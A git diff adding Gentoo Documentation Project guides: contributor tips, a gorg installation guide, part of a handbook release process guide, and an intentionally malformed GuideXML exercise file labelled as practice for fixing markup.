+<title>Browsing your local copy of Gentoo's web site</title>
+<body>
+
+<p>
+Since you checked out a copy of Gentoo's web site out of our CVS, you can also
+use gorg to browse your local copy. Make sure you download the news index as
+explained <uri link="gorg.xml">in the guide</uri> if you want to see the same
+front page.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Frequently Asked Questions</title>
+<section>
+<title>How do I convert a file to UTF-8?</title>
+<body>
+
+<p>
+There are quite a few tools that help you. A popular one is
+<c>app-text/recode</c>. Another one is <c>iconv</c>, part of
+<c>sys-libs/glibc</c>.
+</p>
+
+<p>
+Recode's use is pretty straightforward. You tell it what character encoding is
+currently used by the document and to what encoding you want to convert the
+document.
+</p>
+
+<p>
+For instance, to convert a document from ISO-8859-15 (also known as Latin-9) to
+UTF-8, you can use:
+</p>
+
+<pre caption="Recoding a file">
+<comment>(l9 = ISO-8859-15, u8 = UTF-8)</comment>
+$ <i>recode l9..u8 file.xml</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Documentation Submission Tips</title>
+<section>
+<title>Check for correct &lt;guide&gt; tags</title>
+<body>
+
+<p>
+Make sure that the &lt;guide link&gt; attribute points to the correct location
+for the guide. This is generally <path>/doc/${LANG}/filename.xml</path>. If you
+have a translated document, always specify the absolute path to the document
+(e.g. <path>/doc/${LANG}/</path>). If you are writing a guide that uses the
+<c>guide</c> or <c>book</c> DTD, you may use either
+<path>/doc/${LANG}/filename.xml</path> or <path>filename.xml</path>. Generally,
+the GDP recommends the former specification.
+</p>
+
+</body>
+</section>
+<section>
+<title>Check links</title>
+<body>
+
+<p>
+You <e>must</e> verify that all hyperlinks in your document work. If it is a
+translated document, make sure that any links to other translated documents
+point to the existing files.
+</p>
+
+</body>
+</section>
+<section>
+<title>Check for tabs</title>
+<body>
+
+<p>
+Tabs are absolutely forbidden in GuideXML documents except when required (e.g.
+if the document instructs the user to use tabs). To check a document for tabs,
+run <c>grep "CTRL+V&lt;TAB&gt;" file.xml</c>. Fix any lines that <c>grep</c>
+prints out.
+</p>
+
+</body>
+</section>
+<section>
+<title>Bugzilla</title>
+<body>
+
+<p>
+Once you have finished your document, submit it to the Documentation Team using
+<uri
+link="http://bugs.gentoo.org/enter_bug.cgi?product=Documentation">Bugzilla</uri>.
+You don't have to mention information like platform, <c>emerge info</c>
+output, arch, steps to reproduce, etc. If you have a translated document, be
+sure to select the <uri
+link="http://bugs.gentoo.org/enter_bug.cgi?product=Doc%20Translations">Doc
+Translations</uri> component for your bug. Also, include a helpful summary
+for your translation using the preferred format: "[fr] New translation:
+/doc/fr/gnupg-user.xml". Replace <b>[fr]</b> with the two-letter code for your
+language.
+</p>
+
+<p>
+By default, <mail>docs-team@gentoo.org</mail> is the assignee of your bug;
+there's no need to change the assignee field.
+</p>
+
+<p>
+Attach files and patches to the bug using the "plain text (text/plain)"
+selection.  Do <e>not</e> select "XML source (application/xml)", even if you
+are submitting a <path>.xml</path> file. Patches should have the "Patch" option
+checked. Do not submit tarballs full of documents; attach each document and
+patch individually.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Commonly or Dangerous Made Mistakes</title>
+<section>
+<title>Forgetting the all-arch-aspect of the Gentoo Handbook</title>
+<body>
+
+<p>
+The files in <path>[gentoo]/xml/htdocs/doc/en/handbook</path> that do not end
+with a "-&lt;arch&gt;.xml" suffix are read by <e>all</e> handbooks, which means
+that whatever is listed inside must be cross-architectural.
+</p>
+
+<p>
+If you need to make modifications regarding your own architecture and you're
+afraid you need to place this in such a file, you might want to ask on
+<c>gentoo-doc@gentoo.org</c> first how to solve this. Sometimes there is a way
+without making it more difficult for other architectural users.
+</p>
+
+</body>
+</section>
+<section>
+<title>Not bumping version/date or doing it the wrong way</title>
+<body>
+
+<p>
+Conforming to the policy, you <e>must</e> bump a version/date when you make
+certain changes (most actually). Although the version is less important (SwifT
+will still kill you if you forget it) the date tells our users when the
+document was last modified.
+</p>
+
+<p>
+If you are making a <e>content</e> change to a document (such as instructions,
+code examples, etc.), then you must increment the version. For
+<e>non-content</e> changes (e.g. typo or GuideXML fixes), version bumping is
+usually unnecessary.
+</p>
+
+<p>
+When updating the handbook, only bump the date and version of the files you
+changed. Don't bump the handbook-<e>ARCH</e>.xml unless you actually changed
+its content.
+</p>
+
+<p>
+Another common mistake is to update the version number as if it were a decimal
+number. It's not. <c>3.9</c> should become <c>3.10</c>, not <c>4.0</c>, nor
+<c>3.91</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/doc/fix-me.xml.txt b/xml/htdocs/proj/en/gdp/doc/fix-me.xml.txt
new file mode 100644
index 00000000..ae1c3cd7
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/doc/fix-me.xml.txt
@@ -0,0 +1,122 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "dtd/guide.dtd">
+
+<guide link="proj/en/gdp/tests/fix_me.xml">
+
+<title>Gentoo 1.4 Upgrade Guide</title>
+
+	<author title = "Author">
+<mail link = "renee@tutu.fr">Renée Michù</mail>
+</author>
+
+<author title='editor'><mail link='nobody@here.com'>Gastòn Ledoÿeñ</mail></author>
+	<abstract>A method for upgrading older Gentoo installations in place to Gentoo 1.4</abstract>
+<version>v0.3</version>
+<date>October 2, 2004</date>
+  <license/>
+
+	<chapter>
+		<title>Before you begin</title>
+		<section>
+			<title>Ignore content</title>
+			<body>
+				<p>As mentioned <uri link = "offtopic">later on</uri>, you should not bother about the content of this document. Its sole purpose is to let you show that you can fix a totally broken GuideXML file and apply coding style. If you think it's taking too much of your time then you really need the practice.</p></body></section>
+		<section>
+			<title>General notes</title>
+			<body>
+				<p>Whenever the code listings suggest running the
+				<i>emerge</i> command, it is always a good idea to make a test
+				run of the command using the <i>-p</i> or <i>--pretend</c>
+				option to make sure that the command will do what you expect
+				it to do.</p>
+			</body>
+		</section>
+	</chapter>
+	<chapter>
+		<title>Upgrading in place</title>
+		<section>
+			<title>Get Portage as current as possible</title>
+			<body>
+				<p>Some of the syntax of current ebuilds is unreadable by
+				older versions of Portage. If you don't have at least Portage 2.0.44, try upgrading Portage.
+				<pre>
+	# <c>emerge --sync</c>
+	# <c>emerge -u portage</c>
+</pre>
+				<note>If your Portage version is very old, you may get an error message containing the phrase "unscriptable object".  Read and follow the instructions in
+				<path>/usr/portage/sys-apps/portage/files/README.RESCUE</path>.
+				Your Portage install should then be
+				current.</note></p>
+        You will find more information about Portage in our <uri link="doc/en/handbook/handbook-x86.xml?part=2&chap=1#doc_chap1">Handbook</uri>.
+</body></section>
+
+		<section>
+			<title>Preparing GCC for cohabitation</title>
+			<body>
+				<p>You will be installing a newer version of GCC during this upgrade.  Versions of GCC older than 2.95.3-r8 are not designed to have multiple versions of GCC installed.  You must therefore upgrade GCC to at least version 2.95.3-r8.  This will also have the beneficial side-effect of installing the <c>gcc-config</c> package on your system, which can be used to switch back and forth between various installed versions of GCC.</p>
+
+				<pre>
+# <i>emerge -u gcc</i>
+</pre>
+
+				<p>You can now check to see if gcc-config is working properly:</p>
+				<pre>
+# <i>gcc-config --get-current-profile</i>
+</pre>
+				<p>This should return i686-pc-linux-gnu-2.95.3 on most x86 systems. Older systems may return i586-pc-linux-gnu-2.95.3.</p>
+			</body>
+		</section>
+		<section>
+			<title>Installing GCC 3</title>
+			<body>
+<p>
+Edit <path>/usr/portage/sys-devel/gcc/gcc-3.2.2.ebuild</path> and search for the
+line containing <c>DEPEND</c>. Remove the <c>glibc</c> dependency and save the
+ebuild.
+</p>
+
+<pre caption="Editing gcc-3.2.2.ebuild">
+# vim /usr/portage/sys-devel/gcc/gcc-3.2.2.ebuild
+</pre>
+
+<pre>
+<codenote>install the latest GCC version on your system:</codenote>
+# <i>USE="-java" emerge /usr/portage/sys-devel/gcc/gcc-3.2.2.ebuild</i>
+</pre>
+			</body>
+		</section>
+		<section>
+			<title>Changing profiles</title>
+			<body>
+				<p>Now you need to change two sets of profiles: your
+				gcc-config profile and your Portage profile.</p>
+				<pre>
+# <i>cd /etc</i>
+# <i>rm make.profile</i>
+# <i>ln -s ../usr/portage/profiles/default-x86-1.4 make.profile</i> <comment>(Replace "x86" with your architecture)</comment>
+</pre>
+
+				<pre>
+# <i>gcc-config --list-profiles</i> <comment>(Note the one for the version you just emerged, use it below)</comment>
+# <i>gcc-config i686-pc-linux-gnu-3.2.2</i> <comment>(Replace with the version you noted above)</comment>
+</pre>
+			</body>
+		</section>
+    <section id="offtopic"><title>This has nothing to do with the above</title><body><p>
+    During the meeting:
+<ul>
+<li>Keep the meeting flowing. This means maintaining focus on the agenda and
+the objectives of the meeting.</li>
+<li>Keep the meeting within its allotted time frame (usually one hour)</li>
+<li>Allow the presentation of an agenda item by the person responsible for
+that item, before any questions and discussion is undertaken.</li>
+<li>Get responses from all members before moving onto the next agenda
+item.</li>
+<li>Briefly summarize unresolved business. This may include the result of
+the discussion, specific actions that are to be taken, who's responsible for
+working on what etc.</li>
+<li>Allow all attendees to be able to discuss their concerns after the
+agenda items have been discussed.</li>
+</ul></p>
+	</chapter>
+<guide>
diff --git a/xml/htdocs/proj/en/gdp/doc/gorg.xml b/xml/htdocs/proj/en/gdp/doc/gorg.xml
new file mode 100644
index 00000000..450b6ae8
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/doc/gorg.xml
@@ -0,0 +1,286 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header $ -->
+
+<guide>
+<title>How to Install Gorg</title>
+
+<author title="Author">
+  <mail link="neysx"/>
+</author>
+<author title="Editor">
+  <mail link="nightmorph"/>
+</author>
+
+<abstract>
+This guide describes how to install and configure gorg.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2010-04-28</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+Gorg is a back-end XSLT processor for an XML-based web site. XML source files
+are transformed and served on-the-fly. Output files and their dependencies are
+cached. Its main features are: 
+</p>
+
+<ul>
+  <li>Works with apache, lighttpd or webrick (ruby's own web server) </li>
+  <li>Uses efficient caching</li>
+  <li>
+    Generates consistent HTTP headers when several web nodes serve the same
+    content
+  </li>
+  <li>
+    Implements its own compression (aka mod_gzip), i.e. it does not rely on the
+    web server to compress its output
+  </li>
+  <li>Supports client-side caching</li>
+  <li>Your XSL can accept and write cookies</li>
+  <li>
+    Provides its own search engine (site indexing will be substantially updated
+    in a later version)
+  </li>
+</ul>
+
+<p>
+Gorg allows you to serve your own local copy of
+<uri>http://www.gentoo.org</uri>. It can use either a cgi or a fastcgi script
+with apache or lighttpd, or even use its own stand-alone web server. Its name is
+short for <b>G</b>entoo.<b>org</b> because it was created with Gentoo's site in
+mind when it was felt that a replacement for AxKit was required.
+</p>
+
+<p>
+Gorg has been tested on x86, amd64, alpha, sparc, ppc, mips &amp; hppa with the
+following packages:
+</p>
+
+<pre caption="Test environment">
+>=net-www/apache-2.0.55
+>=www-apache/mod_fcgid-1.0.8 
+
+>=dev-lang/ruby-1.8.4
+>=dev-libs/fcgi-2.4.0  
+>=dev-ruby/ruby-fcgi-0.8.6
+>=dev-libs/libxml2-2.6.23
+>=dev-libs/libxslt-1.1.15
+<comment>(In the unlikely case you want to fiddle with gorg's own search engine)</comment>
+>=dev-db/mysql-4.0.26 <comment>(up to and including 5.*)</comment>
+>=dev-ruby/ruby-dbi-0.0.21
+>=dev-ruby/mysql-ruby
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Installing Gorg</title>
+<section>
+<body>
+
+<p>
+Define your USE flags to allow apache with or without mod_fcgi, or not depending
+on how you want to use it. The <c>mysql</c> USE flag is only required for the
+integrated search engine.
+</p>
+
+<impo>
+You might have to keyword some dependencies for your architecture. You can
+keyword the required packages or accept a foreign architecture. gorg has been
+installed and tested on x86, amd64, alpha, sparc, ppc, mips &amp; hppa.
+</impo>
+
+<pre caption="Emerging gorg">
+<comment>(<b>With</b> apache support)</comment>
+# <i>echo www-servers/gorg fastcgi apache -mysql >> /etc/portage/package.use</i>
+
+<comment>(<b>Without</b> apache support)</comment>
+# <i>echo www-servers/gorg -fastcgi -apache -mysql >> /etc/portage/package.use</i>
+
+<comment>(Check dependencies are available for your architecture)</comment>
+# <i>emerge -pv gorg</i>
+
+<comment>(Install gorg)</comment>
+# <i>emerge gorg</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configuring Gorg</title>
+<section>
+<title>Configuring apache</title>
+<body>
+
+<note>
+You may skip this section if you are not going to use apache at all. 
+</note>
+
+<p>
+If you want to use fastcgi, which you should anyway, you'll need to add <c>-D
+FCGID</c> to the <c>APACHE2_OPTS</c> variable in
+<path>/etc/conf.d/apache2</path>.
+</p>
+
+<p>
+Then, integrate the apache configuration directives from the provided sample
+file <path>/etc/gorg/vhost.sample</path> into your own vhost configs, e.g.:
+<path>/etc/apache2/vhosts.d/10_gorg.conf</path>. Comments in the sample config
+file will guide you.
+</p>
+
+<p>
+Finally, copy or symlink the (c)cgi scripts from
+<path>/usr/lib/ruby/site_ruby/&lt;ruby-version&gt;/gorg/fcgi-bin/gorg.fcgi</path>
+and
+<path>/usr/lib/ruby/site_ruby/&lt;ruby-version&gt;/gorg/cgi-bin/{gorg,search}.cgi</path>
+into your web site (f)cgi directories and check they are executable. You
+should copy <path>search.cgi</path> only if you are going to use the integrated
+search engine.
+</p>
+
+</body>
+</section>
+<section>
+<title>Configuring gorg</title>
+<body>
+
+<p>
+Create a copy of the sample config file <path>/etc/gorg/gorg.conf.sample</path>
+named <path>/etc/gorg/gorg.conf</path> and <b>edit</b> it. Comments will help
+you define your own parameters. You need to define at least your web document
+root directory.
+</p>
+
+<p>
+If you do not want to use the default <path>/etc/gorg/gorg.conf</path> config
+file, you'll need to define an environment variable called <c>GORG_CONF</c> that
+points to the config file.
+</p>
+
+<impo>
+If you use caching, and it is recommended that you do so, do make sure that the
+cache directory defined in your config file has proper permissions. If you use
+apache, the apache user needs full access to that directory.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Getting the missing files</title>
+<body>
+
+<p>
+Assuming you'll serve your local copy of CVS, or a copy if, or symlinks to it,
+you need to download some files from the <path>dyn</path> directory.
+</p>
+
+<pre caption="Get the missing files">
+<comment>(Go to your htdocs directory)</comment>
+$ <i>cd /path/to/your/document/root</i>
+/htdocs $ <i>cd dyn</i>
+/htdocs $ <i>wget -O news-index.xml http://www.gentoo.org/dyn/news-index.xml?passthru=1</i>
+/htdocs $ <i>cd ..</i>
+<comment>(Do the same for any other data you may need from the /dyn directory)</comment>
+</pre>
+
+<p>
+You also need to make the pictures available to your browser. The
+<path>images</path> directory is one level above <path>htdocs</path>. Just
+define a symlink to it and you're set.
+</p>
+
+<pre caption="Make a symlink to the pictures">
+/htdocs $ <i>ln -si ../images images</i>
+
+<comment>(It should look like this:)</comment>
+/htdocs $ <i>ls -l</i>
+drwxr-xr-x   3 neysx users  128 Sep 14 17:45 css
+drwxr-xr-x  31 neysx users  744 Oct 26 00:03 doc
+drwxr-xr-x   3 neysx users  544 Nov  2 16:53 dtd
+drwxr-xr-x   3 neysx users  168 Nov  3 16:24 dyn
+-rw-r--r--   1 neysx users 1406 Jun  7  2003 favicon.ico
+lrwxrwxrwx   1 neysx users   10 Oct 21 22:29 images -> ../images/
+-rw-r--r--   1 neysx users  190 Nov  9  2002 index.xml
+drwxr-xr-x  16 neysx users  384 Apr  1  2004 main
+drwxr-xr-x  17 neysx users 6960 Nov  3 15:34 news
+drwxr-xr-x   8 neysx users  192 Oct 23 14:52 proj
+drwxr-xr-x   4 neysx users   96 Sep 17 14:05 security
+drwxr-xr-x   3 neysx users  736 Nov  2 16:40 xsl
+</pre>
+
+<p>
+Your local CVS probably shows a few more entries, but at least those mentioned
+above should be available and kept up-to-date. Also remember to keep your
+<path>images</path> directory current.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Running Gorg</title>
+<section>
+<title>The stand-alone web server</title>
+<body>
+
+<p>
+The easiest way to try it out is to run <c>gorg</c>. It should display something
+like:
+</p>
+
+<pre caption="Run gorg">
+$ <i>gorg</i>
+
+Starting the Gorg web server on port 8008
+
+Hit Ctrl-C or type "kill 31479" to stop it
+</pre>
+
+<p>
+Point your browser to <uri>http://localhost:8008</uri> and you should see your
+favorite site.
+</p>
+
+</body>
+</section>
+<section>
+<title>With apache</title>
+<body>
+
+<p>
+Restart apache (<c>/etc/init.d/apache2 restart</c>) and visit
+<uri>http://localhost</uri> assuming you're installing on your own
+workstation.
+</p>
+
+<p>
+If you used static fastcgi servers, you should see them with <c>top -u
+apache</c>.
+</p>
+
+<p>
+If it doesn't work, try the stand-alone web server (type <c>gorg</c>). If this
+doesn't work either, check your <path>/etc/gorg/gorg.conf</path> config file. If
+it does work, please check your apache config files and your logs.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/gdp/doc/handbook-release.xml b/xml/htdocs/proj/en/gdp/doc/handbook-release.xml
new file mode 100644
index 00000000..f286759b
--- /dev/null
+++ b/xml/htdocs/proj/en/gdp/doc/handbook-release.xml
@@ -0,0 +1,525 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/gdp/doc/handbook-release.xml,v 1.3 2008/04/23 07:09:37 nightmorph Exp $ -->
+
+<guide link="/proj/en/gdp/doc/handbook-release.xml">
+<title>Handbook Release Guide</title>
+
+<author title="Author">
+  <mail link="nightmorph@gentoo.org">Joshua Saddler</mail>
+</author>
+
+<abstract>
+This guide details the process for updating the handbooks and related
+documentation for each new Gentoo Linux release.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2008-04-22</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Purpose</title>
+<body>
+
+<p>
+This document is intended to help the handbook release coordinator (and/or other
+GDP members and contributors) tackle the massive task of bringing all the
+handbooks and related documentation up-to-date for the latest Gentoo Linux
+release.
+</p>
+
+<p>
+It's designed to take some of the pain and stress out of a free-form, unplanned
+process and instead introduce a bit of logical order. All too often, the burden
+of updating all documentation tends to fall on just one single person (as this
+author can attest to on multiple occasions). Whether or not that happens for a
+particular release, this guide still provides a smart, sensible plan for getting
+docs ready to go.
+</p>
+
+<p>
+This document will provide guidelines on <e>what</e> to do and <e>when</e> to do
+it, though these are just guidelines; there are few hard rules, except when it
+comes to GuideXML coding and commit rules, as explained in such documents as the
+the <uri link="/doc/en/xml-guide.xml">GuideXML Guide</uri> and the <uri
+link="/proj/en/gdp/doc/doc-tipsntricks.xml">Documentation Tips and
+Tricks</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>What to Monitor</title>
+<section>
+<title>Release dates</title>
+<body>
+
+<p>
+In order to plan your tasks and estimate completion dates for TODO items, you'll
+need to have an idea of when the next release is. Gentoo operates on a so-called
+<e>rolling release</e> schedule. Packages are updated constantly; a new release
+of Gentoo is merely an update to the installation media, stages, Portage
+snapshots, and so on. However, this always entails a huge change in the
+Installation Handbook and other related documentation, as they have to be
+brought in line with the new installation media.
+</p>
+
+<p>
+New releases occur about every 6 months, though this is not set in stone, so be
+sure to constantly check the <uri link="/proj/en/releng/index.xml">release
+roadmap</uri> for updates. Also be sure to check with Release Engineering
+(releng) team members in person as release time grows nearer, just in case the
+roadmap hasn't been updated.
+</p>
+
+</body>
+</section>
+<section>
+<title>Handbooks</title>
+<body>
+
+<p>
+By far the most important items to update are the handbooks.
+</p>
+
+<ol>
+  <li>
+    <uri link="/doc/en/handbook/handbook-x86.xml?part=1">Installation
+    Handbook</uri>: the biggest handbook. This is your first priority, as it's
+    where users go when they want to install Gentoo. The handbook for each
+    architecture requires time, energy, and TLC. The handbook comes in two
+    flavors, <e>networked</e> and <e>networkless</e>. Both are of about equal
+    priority, though just before release, you'll want to focus a bit more on
+    keeping the networkless handbook completely ready to go, as releng will need
+    tarballs of it to put on the LiveCDs in advance of the actual release date.
+  </li>
+  <li>
+    <uri link="/doc/en/handbook/handbook-x86.xml?part=2">Portage Handbook</uri>:
+    Doesn't change nearly as often as the Installation Handbook, but still needs
+    to be updated for new configuration files and names, such as
+    <path>/etc/make.conf</path> and <path>/etc/conf.d/</path> changes. The <uri
+    link="/doc/en/handbook/handbook-x86.xml?part=3">other Portage Handbook</uri>
+    is more in-depth. Check with the baselayout and Portage maintainers to make
+    sure the information is up-to-date.
+  </li>
+  <li>
+    <uri link="/doc/en/handbook/handbook-x86.xml?part=4">Network Handbook</uri>:
+    This will be updated about as often as the major networking configuration
+    sections of the Installation Handbook are updated, as some of the
+    information is similar. Again, check with the baselayout and Portage
+    maintainers to make sure the information is current.
+  </li>
+</ol>
+
+<note>
+Not all the Portage/Networking handbook files will change, so it may be better
+to just copy over only the ones you <e>know</e> will be changing when you start
+updating them. Be sure of which files actually need to be changed. Again,
+communication and coordination!
+</note>
+
+<p>
+Variables and conditional includes are a lifesaver. Use them! Arch-specific
+items that constantly change, such as ISO size, recommended CFLAGS, kernel
+versions, etc. are kept in the handbook-$arch files, right at the top. Releng
+will know about CD boot parameters, media/download size, and minimum system
+requirements, as well as available media and their filenames. Arch teams will
+know about CFLAGS and kernel names &amp; configuration, as well as suggested
+partitioning schemes and specific tools to emerge/use.
+</p>
+
+<p>
+Whenever possible, try to get arch team members to help you keep track of all
+the changing information from release to release. See if they have a dedicated
+liaison to assist with verifying documentation changes; it's even better if they
+have someone who can submit GuideXML patches, so don't hesitate to ask! So be
+sure to CC the arch teams on the handbook release tracker bug to keep them in
+the loop.
+</p>
+
+<p>
+Sometimes releases will offer enough changes that a new chapter or even a whole
+new handbook has to be written, or may even be removed. As much as possible
+while remaining <e>practical</e>, try not to duplicate information across
+separate arch handbook files. Instead, see if you can combine them into a single
+file through smart use of conditional includes. When these kinds of
+additions/subtractions occur, you'll need to make the appropriate alterations to
+the handbook-$arch files.
+</p>
+
+</body>
+</section>
+<section>
+<title>Other documents</title>
+<body>
+
+<p>
+Besides the handbooks, you will also need to simultaneously update the following
+documents to keep them in line with the handbooks. Docs come and go but these
+are currently the most critical files to keep track of.
+</p>
+
+<ul>
+  <li>
+    <b>Quick Install Guides</b>, including the ones for x86, Sparc, FreeBSD, and
+    any other arch for which we have a quick install guide in
+    <path>/doc/en/</path>. This includes any <uri
+    link="/doc/en/altinstall.xml">Alternative Installation Method</uri>-type
+    guides, <uri link="/doc/en/lvm2.xml">LVM2</uri> guides, <uri
+    link="doc/en/gentoo-x86-tipsntricks.xml">Installation Tips &amp;
+    Tricks</uri>, and the like.
+  </li>
+  <li>
+    <b>FAQs</b>, including the general <uri link="/doc/en/faq.xml">FAQ</uri> and
+    arch-specific FAQs, such as for AMD64, PPC, Sparc, etc. Also included here
+    are any arch-specific requirements or compatibility guides, such as for
+    MIPS. Anything for which support may change from release to release; you
+    will need to contact the various arch teams to find out.
+  </li>
+  <li>
+    <uri link="/doc/en/liveusb.xml">The LiveUSB HOWTO</uri>, for the folks that
+    want to use a USB key instead of installation CDs. Check to make sure that
+    boot parameters are still correct, as well as the process of creating the
+    media.
+  </li>
+  <li>
+    <b>Upgrade guides</b>, such as the <uri
+    link="/doc/en/gentoo-upgrading.xml">Gentoo Upgrading Guide</uri>, as this
+    doc contains profile upgrading information. Most releases include new
+    profiles and deprecate or remove old profiles. Also, any changes introduced
+    by baselayout between releases will have their upgrading information covered
+    here.
+  </li>
+  <li>
+    <uri link="/doc/en/kernel-config.xml">Kernel Configuration Guide</uri>. Keep
+    the available and recommended options in this file synchronized with what's
+    in the Installation Handbook.
+  </li>
+  <li>
+    <path>metadoc.xml</path>, which will contain updated links to the current
+    handbook files, both networked and networkless
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Committing</title>
+<section>
+<title>General guidelines</title>
+<body>
+
+<p>
+Remember, before you commit any change to a document, validate the file with
+<c>xmllint --valid --noout</c>. Quality! Aim for technical and process
+perfection. It <e>will</e> save you grief when it comes time for the actual
+release.
+</p>
+
+<p>
+Avoid mixing spelling, grammar, or GuideXML coding style fixes (non-content
+changes) with procedural/informational fixes (content changes), otherwise
+translators will get out their knives and come for you. You don't want that. Try
+committing content fixes first, then the non-content fixes.
+</p>
+
+<p>
+Don't bother bumping dates when you're working on your offline drafts. Save the
+final date bump for the final "live" commit. However, you may want to make the
+correct version bump ahead of the "live" commit, just to get it out of the way.
+It's also a handy indication of whether or not you've remembered to touch the
+file. When you're ready for the final commit, be sure to verify the version and
+dates for each file. (Bring some caffeine; the process is tedious but
+necessary.)
+</p>
+
+<p>
+As much as possible, try to keep section text and layout (including order)
+identical across the other arch handbooks, especially for shared content.
+</p>
+
+<p>
+If you do include &lt;-- TODO comments --&gt; in the docs as notes to yourself,
+be sure to remove them before committing the finished document; don't clutter
+it up.
+</p>
+
+<p>
+When you're ready for the "live" commit, don't forget to remove any draft
+disclaimers from file links.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Suggested Procedures</title>
+<section>
+<body>
+
+<p>
+The following procedures do not <e>have</e> to be done in the specified order,
+but they are recommended. They will help you make efficient use of your time,
+with as few errors as possible. This procedure order (or something close to it
+;)) has worked pretty well for the last few releases.
+</p>
+
+<impo>
+The <e>very first</e> thing you should do is <e>open a handbook release tracker
+bug</e>. CC the arch teams, releng, and anyone else essential to the process of
+updating the handbooks; you'll need their help for the content, as well as the
+help of your fellow GDP members to put it all together. Once that's done, you
+can get down to the business of actually editing the documents. Keep the GDP and
+other project members informed about your progress by posting status updates to
+the bug and sending out email as necessary.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Editing drafts</title>
+<body>
+
+<p>
+Start with the installation handbooks:
+</p>
+
+<ol>
+  <li>
+    Create the new networkless handbook directory; e.g.
+    <path>handbook/2007.1/</path>
+  </li>
+  <li>
+    Copy all current networkless handbook files into this new networkless
+    directory. It's okay that this is actually a "live" directory -- you just
+    won't be linking any of the files from index pages.
+  </li>
+  <li>
+    Copy the current networked handbook files into <path>handbook/draft/</path>
+  </li>
+  <li>
+    Commit these additions. Make it a straight copy with <b>no</b>
+    modifications! Otherwise, translators will hate you for making it hard to
+    follow your changes.
+  </li>
+  <li>
+    Edit the networkless handbook-$arch.xml pages, making sure they have the
+    draft disclaimer in their file link
+  </li>
+  <li>
+    Go through and renumber old release names/numbers to the upcoming one, e.g.
+    2007.0 --> 2007.1. Now is also a good time to make the major version mumber
+    bump for each page. Each new release gets a major &lt;version&gt; number
+    bump. Thus, 2007.0 references in <path>hb-install-kernel.xml</path> become
+    2007.1 and the file's &lt;version&gt; gets bumped from 7.4 to 8.0. If it's
+    4.3, it becomes 5.0, and so on.
+  </li>
+  <li>
+    Begin making content and non-content changes to the files, being careful not
+    to mix the two. Remember that most changes will apply to both networked and
+    networkless handbooks, but not all, so be careful when you're doubling up
+    your commits. Also, watch out for handbook changes that also need to be
+    propagated to non-handbook files, such as FAQs.
+  </li>
+  <li>
+    Make the necessary changes to non-handbook files, but try to keep those
+    changes offline, as explained below.
+  </li>
+</ol>
+
+<impo>
+Be careful when working on files outside of <path>/handbook/</path>! If the
+updated information you're adding to these documents won't hurt users <e>now</e>
+and is not otherwise premature, go ahead and commit those changes to the live
+documents. Otherwise, you should keep your changes offline, on your local
+machine only. Also, be careful that you aren't altering the handbook files
+inside the top-level <path>/handbook/</path> directory; make sure you're
+committing your changes only to <path>/handbook/draft/</path> and
+<path>/handbook/$new-release/</path>.
+</impo>
+
+</body>
+</section>
+<section>
+<title>Preparing the on-disc networkless handbooks</title>
+<body>
+
+<p>
+You'll need to have the networkless handbooks ready some days in advance of the
+actual release date, as releng will be placing them into the disc ISOs ahead of
+time.  Obviously, you must keep the networkless handbooks as current and perfect
+as possible; ideally with version bump, and even a date bump, just before it
+comes time to roll them up into the tarball.
+</p>
+
+<p>
+Unfortunately, the GDP no longer has a working script to convert handbooks into
+the HTML version that goes on the disc. Instead, use the rendered HTML source
+code online in <path>/handbook/$new-release/</path>. Download the all-in-one
+<b>Printable</b> version of the required arch handbook's source code using your
+favorite browser and save it as <path>index.html</path>.
+</p>
+
+<pre caption="Creating the on-disc handbook">
+<comment>(Create the directory you'll be tarring up)</comment>
+$ <i>mkdir -p handbook/html/css</i>
+$ <i>cd handbook/html/</i>
+<comment>(Move the HTML file here)</comment>
+$ <i>mv ../../index.html ./</i>
+<comment>(Download Gentoo's CSS)</comment>
+$ <i>wget http://www.gentoo.org/css/main.css -O css/main.css</i>
+</pre>
+
+<p>
+Next you'll need to edit the HTML file with your favorite editor. Change the CSS
+link in the document's head to <path>css/main.css</path> as shown:
+</p>
+
+<pre caption="Editing handbook-sparc.html">
+&lt;link title="new" rel="stylesheet" href="<i>css/main.css</i>" type="text/css"&gt;
+</pre>
+
+<p>
+Save your changes, then tar up the top-level <path>handbook</path> directory you
+created. Save it as <path>handbook-arch.tar.gz</path> (where <path>arch</path> is
+the name of the architecture), then pass it on to releng. Repeat for each
+architecture that has a networkless installation handbook.
+</p>
+
+</body>
+</section>
+<section>
+<title>Committing, including the final release</title>
+<body>
+
+<ol>
+  <li>
+    Once you think you're ready for the release, go back through each of your
+    files and verify that the XML is valid and well-formed. <brite>Fix any
+    errors now</brite>, not when you go to make the final commit.
+  </li>
+  <li>Verify that the file version and date have been properly bumped</li>
